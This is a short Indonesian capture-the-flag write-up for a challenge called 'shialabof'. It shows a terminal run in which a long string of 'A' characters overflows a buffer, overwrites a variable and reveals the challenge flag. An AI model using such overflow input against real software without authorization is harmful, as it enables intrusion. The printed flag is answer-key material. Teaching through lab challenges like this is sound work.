

## Writeup untuk shialabof

Di sini terdapat sebuah program yang meminta kita untuk memasukkan nama kita:

```
drainvers@halcyon:~/sandbox/beefest$ ./shialabof
Enter your name: Anonymous
Hello, Anonymous
var = 1337
Can't change the variable? JUST, DO IT! DON'T LET YOUR DREAMS BE DREAMS.
```

Dari nama program, kita mendapatkan hint bahwa program dapat diretas melalui *buffer overflow*. Kita hanya perlu mencari tahu berapa banyak karakter yang kita perlu masukkan hingga meluap ke variabel `var`.

```
drainvers@halcyon:~/sandbox/beefest$ ./shialabof
Enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
var = 65
BeeFest{W0rld5_5lmpl35t_Buff3r_0v3rfl0w}
```

Setelah memasukkan 32 atau lebih karakter, kita berhasil menimpa `var` dan mendapatkan flag.